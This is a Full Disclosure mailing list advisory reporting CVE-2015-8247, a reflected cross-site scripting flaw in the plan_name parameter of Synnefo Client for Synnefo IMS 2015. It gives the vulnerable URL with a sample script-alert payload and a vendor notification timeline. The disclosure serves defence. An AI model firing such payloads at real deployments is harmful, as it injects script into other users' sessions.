Full Disclosure mailing list archives

By Date By Thread XSS Vulnerability in Synnefo Client for Synnefo IMS 2015 - CVE-2015-8247 From: Aravind <altoarun () gmail com>

Date: Sat, 12 Dec 2015 22:01:07 +0530

Information ================================= #Vulnerability type: Cross Site Scripting (XSS) #Vendor: http://www.synnefoims.com/ #Product: Synnefo Client for Synnefo Internet Management Software (IMS) 2015 (http://www.synnefoims.com/products.html) CVE Reference: ================================= CVE-2015-8247 Technical Details: ================================= A reflected cross site scripting (XSS) vulnerability was found in synnefoclient for Synnefo IMS 2015. The vulnerability has been discovered in the plan_name parameter on the request to fetch the package details for the logged in user. Request method is GET. Vulnerable Parameter ================================= plan_name Sample Payload with URL ================================= http://<domain_name>/synnefoclient/packagehistory/listusagesdata?active_plan=1&uname=<username>&st_date=2015-10-01+08%3A39%3A32&end_date=2015-10-31+23%3A59%3A59&plan_name=<script>alert(‘xss’);</script> Exploitation Technique: ================================== Remote Severity Level: ================================== High Timeline ================================= -Vendor notified - Tue, 27 Oct 2015 11:32:21 +0530 -Vendor responded and acknowledged - Tue, 27 Oct 2015 12:27:50 +0530 Credits & Authors =================================== Aravind C Ajayan _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/ By Date By Thread Current thread: XSS Vulnerability in Synnefo Client for Synnefo IMS 2015 - CVE-2015-8247 Aravind (Dec 13)